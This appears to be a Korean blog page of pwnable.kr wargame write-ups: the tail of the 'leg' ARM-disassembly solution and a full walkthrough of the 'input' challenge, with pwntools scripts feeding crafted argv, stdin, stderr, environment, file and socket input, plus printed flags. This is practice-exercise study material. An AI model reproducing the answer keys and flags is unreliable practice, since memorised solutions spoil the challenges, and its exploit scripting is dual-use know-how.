   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
  • 각 함수를 호출한 반환 값은 각각 main+48, main+56, main+68에서 레지스터로 옮겨짐
  • 공통적으로 반환 값은 r0에 담김

 

Exploit Algorithm

💡 c소스코드에서 분석한 내용과 어셈블리 코드를 비교하여 r0 레지스터의 흐름을 따라가면 될 것

 

소스코드 분석 - .asm(key1)

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0 
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
  • 분석
    • key1+4: sp 값을 r11에 저장
    • key1+8: pc 값을 r3에 저장
    • key1+12: r3 값을 r0에 저장
    • key1+16: r11 값을 sp에 저장
    • key1+20: r11 pop
    • key1+24: lr로 분기(main 함수로 돌아가는 듯)
  • r0에 담기는 값은 pc 값임을 알 수 있음
  • pc(Program Counter)는 다음으로 실행할 코드 주소를 담고 있는데 0x4만큼 자동적으로 증가되게 설계되어 있음
    • 즉, key1+8에서의 pc 값은 0x8ce0일 것으로 보이나 +0x4하여 0x8ce4로 생각해야 함

 

소스코드 분석 - .asm(key2)

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
  • 분석
    • key2+4: sp 값을 r11에 저장
    • key2+8: r6 push
    • key2+12: pc에 1 더해서 r6에 저장
    • key2+16: r6으로 분기
    • key2+20: pc 값을 r3에 저장
    • key2+22: r3에 4더해서 저장
    • key2+24: r3 push
    • key2+26: pc pop
    • key2+28: r6 pop
    • key2+32: r3 값을 r0에 저장
    • key2+36: r11 값을 sp에 저장
    • key2+40: r11 pop
    • key2+44: lr로 분기(main 함수로 돌아가는 듯)
  • r0에 담기는 값은 r3로, 이는 pc+4임
    • 즉, 0x8d08+4한 0x8d0c가 반환되는 값임!

 

소스코드 분석 - .asm(key3)

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
  • 분석
    • key3+4: sp 값을 r11에 저장
    • key3+8: 리턴할 값을 r3에 저장
    • key3+12: r3 값을 r0에 저장
    • key3+16: r11 값을 sp에 저장
    • key3+20: r11 pop
    • key3+24: lr로 분기(main 함수로 돌아가는 듯)
  • r0에 저장되는 값은 main 함수로 리턴할 주소 값을 의미함
    • 즉, key3 호출 후 main+68로 돌아가야 하는데, 해당 주소인 0x8d80을 의미!

 

문제 해결

💡 0x8ce4+0x8d0c+0x8d80 = 0x1a770(108400)

→ scanf에서 %d로 사용자 입력을 받고 있으므로 10진수인 108400을 입력해주면 됨!

 

핵심

 💡 ARM에서의 PC값은 다음 주소에서 +4 해야한다!

flag

🍒 My daddy has a lot of ARMv5te muscle!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] input  (2) 2022.10.15
[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14

[문제]


[풀이]

보호기법 분석

  • 64 bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - input.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
	printf("Welcome to pwnable.kr\\n");
	printf("Let's see if you know how to give input to program\\n");
	printf("Just give me correct inputs then you will get the flag :)\\n");

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\\x00")) return 0;
	if(strcmp(argv['B'],"\\x20\\x0a\\x0d")) return 0;
	printf("Stage 1 clear!\\n");	

	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\\x00\\x0a\\x00\\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\\x00\\x0a\\x02\\xff", 4)) return 0;
	printf("Stage 2 clear!\\n");
	
	// env
	if(strcmp("\\xca\\xfe\\xba\\xbe", getenv("\\xde\\xad\\xbe\\xef"))) return 0;
	printf("Stage 3 clear!\\n");

	// file
	FILE* fp = fopen("\\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\\x00\\x00\\x00\\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\\n");	

	// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\\xde\\xad\\xbe\\xef", 4)) return 0;
	printf("Stage 5 clear!\\n");

	// here's your flag
	system("/bin/cat flag");	
	return 0;
}
  • 우왁.. 코드가 긴 관계로 단락 별로 분석시도
  • 프로그램에 input을 잘 줄 수 있는지에 대해서 아는지 물어보는 문제인 것 같음

 

🔽argv

	// argv
	if(argc != 100) return 0;
	if(strcmp(argv['A'],"\\x00")) return 0;
	if(strcmp(argv['B'],"\\x20\\x0a\\x0d")) return 0;
	printf("Stage 1 clear!\\n");	
  • Stage1은 argv에 관한 내용인 것 같음
  • 조건분 분석
    • argc(인자의 개수)가 100이어야 함
    • argv[’A’]가 “\x00”이어야 함
    • argv[’B’]가 “\x20\x0a\x0d”이어야 함

 

Exploit Algorithm

💡 input으로 줘야 하는 것이 많으므로 python -c~ 형태로 전달하기는 어려워보임. pwntool을 이용해 인자 전달
  • 특정 바이너리에 argv를 넣어주고 싶을 때 바이너리 process 부분에 argv을 전달해줄 수 있음
from pwn import * 

p1 = ssh("계정명", "서버주소", port=포트, password="비밀번호") 

argv1 = ["" for i in range(argc)] 
argv1[1] = "AAAA" 
argv2[2] = "BBBB" 

p = p1.process(executable="실행할 바이너리 절대경로", argv=argv1)

 

exploit code

from pwn import *

s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

p = s.process(executable="/home/input2/input", argv=argv)
p.interactive()
  • 100개의 인자를 넣어주기 위해 list로 “a”로 채워진 100byte 리스트 생성
  • argv는 프로그램 실행 시 함께 넣어주는 값이기 때문에 process 실행 후에 값을 변경하면 안됨

  • 처음에 sendline(argvs) 문장도 넣었더니 TypeError 발생했음!
  • argv 넣을 때는 send 함수 사용하지 않도록 주의하자

 

방법2

from pwn import *

s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)

#stage1
argv = ["" for i in range(100)]

for i in range(100):
    if i == 65:
        argv[i] = "\\x00"
    elif i == 66:
        argv[i] = "\\x20\\x0a\\x0d"
    else:
        argv[i] = "a"

p = s.process(executable="/home/input2/input", argv=argv)
p.interactive()

  • Stage1 성공!

 

🔽stdio

// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\\x00\\x0a\\x00\\xff", 4)) return 0;
	read(2, buf, 4);
        if(memcmp(buf, "\\x00\\x0a\\x02\\xff", 4)) return 0;
	printf("Stage 2 clear!\\n");
  • buf는 4byte로 read 함수를 통해 사용자의 입력을 받음 → BOF는 없어보임
    • buf에 입력된 값이 \x00\x0a\x00\xff이어야 함
  • 에러가 발생할 때 buf 값을 읽어옴
    • 값이 \x00\x0a\x02\xff이어야 함

Exploit Algorithm

💡 내가 입력한 값에 대해서 에러 처리를 해야 하는데 이것을 어떻게 할 수 있을지 고민해야 할 것 같음

 

시도(실패)

from pwn import *

s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

put = "\\x00\\x0a\\x00\\xff"

p = s.process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'))
p.send(put)
p.interactive()
  • stage1에서 process 함수의 argument를 이용하는 것 같아 이에 대해 조사해봄

pwnlib.tubes.process - Processes - pwntools 2.2.1 documentation

→ 확인해보니 stderr로 표준 에러를 처리할 수 있고, stderr를 이용할 때에는 파일을 읽어오는 형태로 사용한다고 함

  • 그런데, 원격지의 파일을 읽어올 수는 없는 것 같음 → 나는 로컬에서 ssh로 접속하는데 write함수로 작성한 파일은 내 로컬에 저장돼서 못할 것 같음..
    • ssh로 서버에 접속했기 때문에 서버 내에서 파일이 생성되지 않을까? 생각했는데 아니었음
    • 하긴.. 아무나 파일을 생성하면 권한 문제도 있으니 안될 것 같긴함

  • 서버에 접속해서 tmp 하위에 생성해야 할 것으로 보임

0812) 해결책 찾음!! → 다른 분 write up 보다가 발견함

 

Exploit code

input2@pwnable:/tmp/sikk$ cat test.py 
from pwn import *

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'))
p.send("\\x00\\x0a\\x00\\xff")
p.interactive()
  • read 0번으로 입력하는 것은 process 실행 후 줘야 하는 값이므로 뒤에 보냄!

  • Stage2 성공!

 

🔽env

// env
if(strcmp("\\xca\\xfe\\xba\\xbe", getenv("\\xde\\xad\\xbe\\xef"))) return 0;
printf("Stage 3 clear!\\n");
  • 환경변수에 관한 문제로 보임
  • getenv 함수
  • strcmp 함수로 문자열을 비교하는데, 환경 변수 \xde\xad\xbe\xef의 이름과 \xca\xfe\xba\xbe이 일치하면 Stage3 통과

 

Exploit Algorithm

 💡 환경 변수를 생성해주는데 이름이 \xdeadbeef이고, 이것을 호출했을 때 내용이 \xcafebabe이면 될 것 같음

 

Exploit code

from pwn import *

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.send("\\x00\\x0a\\x00\\xff")
p.interactive()

 

  • Stage3 성공!

 

🔽file

// file
FILE* fp = fopen("\\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\\x00\\x00\\x00\\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\\n");	
  • \x0a라는 파일을 읽는데 첫 4byte가 \x00\x00\x00\x00으로 되어 있어야 함

 

Exploit Algorithm

💡 \x0a 이름의 파일을 만들어 내용을 \x00\x00\x00\x00으로 넣어주면 될 것

 

Exploit code

from pwn import *

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

#stage4
f = open('./\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()

p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.send("\\x00\\x0a\\x00\\xff")
#p.interactive()
  • 처음에 서버 내에서 실행하니 interactive 부분을 안넣어도 되나? 싶어서 빼고 해봤더니 stage clear와 관련된 문구들이 출력되지 않음

  • Stage4 성공!

 

🔽network

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){ //socket 연결 에러
	printf("socket error, tell admin\\n");
	return 0;
}
saddr.sin_family = AF_INET; //IPv4 연결
saddr.sin_addr.s_addr = INADDR_ANY; //접속할 대상을 지정하지 않음
saddr.sin_port = htons( atoi(argv['C']) ); //port 설정. argv[12]를 int 형으로 변환
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ //sd를 소켓으로 사용
	printf("bind error, use another port\\n");
  		return 1;
}
listen(sd, 1); //접속이 들어올 때까지 대기. 최대 대기자 수는 1
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);//접속한 유저의 sockaddr_in 획득
if(cd < 0){
	printf("accept error, tell admin\\n");
	return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0; //port 번호가 설정한 것과 같아야 하는 것 같음
if(memcmp(buf, "\\xde\\xad\\xbe\\xef", 4)) return 0; //buf의 4byte가 \\xde\\xad\\xbe\\xef이어야 함
printf("Stage 5 clear!\\n");
  • 클라이언트 소켓을 프로그래밍 해야 할 것 같음
  • 소켓에 대해 잘모르기 때문에 이론부터 공부함!
  • socket 통신

 

Exploit Algorithm

💡 내가 직접 포트를 설정해서 localhost로 연결 후, \xdeadbeef 값을 보내주면 될 것

 

Exploit code

from pwn import *

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

#stage4
f = open('./\\\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()

#stage5
argv[67] = "1010" #67 == ord('C')
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.sendline("\\x00\\x0a\\x00\\xff")

sock = remote('localhost', 1010)
sock.send("\\xde\\xad\\xbe\\xef")

p.interactive()

  • 우와..우와… 포트 1010으로 했더니 계속 에러가 나서 이상함을 감지했음. 분명 코드 맞는데 안돼서 write up을 찾아봤는데 똑같은겨!!
    • 포트번호를 10000번 대로 변경하니 해결됨
    • 앞쪽 번호를 사용하면 안되는 것 같음! 이미 할당된 번호일수도?

 

최종) Exploit Code

from pwn import *

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()

#stage4
f = open('./\\\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()

#stage5
argv[67] = "13245" #67 == ord('C')
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.sendline("\\x00\\x0a\\x00\\xff")

r = remote('localhost', 13245)
r.send("\\xde\\xad\\xbe\\xef")

p.interactive()
  • 그러나 현재 디렉토리에는 flag 파일이 없어 exploit 되지 않음
  • 심볼릭 링크로 연결해주는 작업 필요함(like 윈도우의 바로가기 작업!)
💡 ln -s [대상 원본 파일] [새로 만들 파일 이름]


원격 실행 코드

from pwn import *

p = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)

#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')

#stage2
p.run("mkdir /tmp/sik")
p.write('/tmp/sik/stage2', '\\x00\\x0a\\x02\\xff')

#stage4
p.write('/tmp/sik/\\x0a', '\\x00\\x00\\x00\\x00')

#stage5
argv[67] = "40000" #67 == ord('C')
s = p.process(cwd="/tmp/sik", executable="/home/input2/input", argv=argv, stderr="/tmp/sik/stage2", env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})

p.run("ln -s /home/input2/flag /tmp/sik/flag")
print s.recvuntil('Stage 1 clear!')

s.sendline("\\x00\\x0a\\x00\\xff")

print s.recvuntil('Stage 2 clear!')
print s.recvuntil('Stage 3 clear!')
print s.recvuntil('Stage 4 clear!')

r = p.remote('localhost', 40000)
r.send("\\xde\\xad\\xbe\\xef")

print s.recvuntil('Stage 5 clear!')
print s.recv(2048)

s.interactive()

→ Stage는 모두 clear 했는데 flag만 출력되지 않는 이유는 뭘까..?

[pwnable.kr] input 풀이 (pwntools process executable!!)

  • 이분이랑 똑같이 해도 안나옴

flag

🍒 Mommy! I learned how to pass various input in Linux :)

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15
[Pwnable.kr] random  (0) 2022.10.14
[Pwnable.kr] passcode  (0) 2022.10.14
[Pwnable.kr] flag  (0) 2022.10.14

+ Recent posts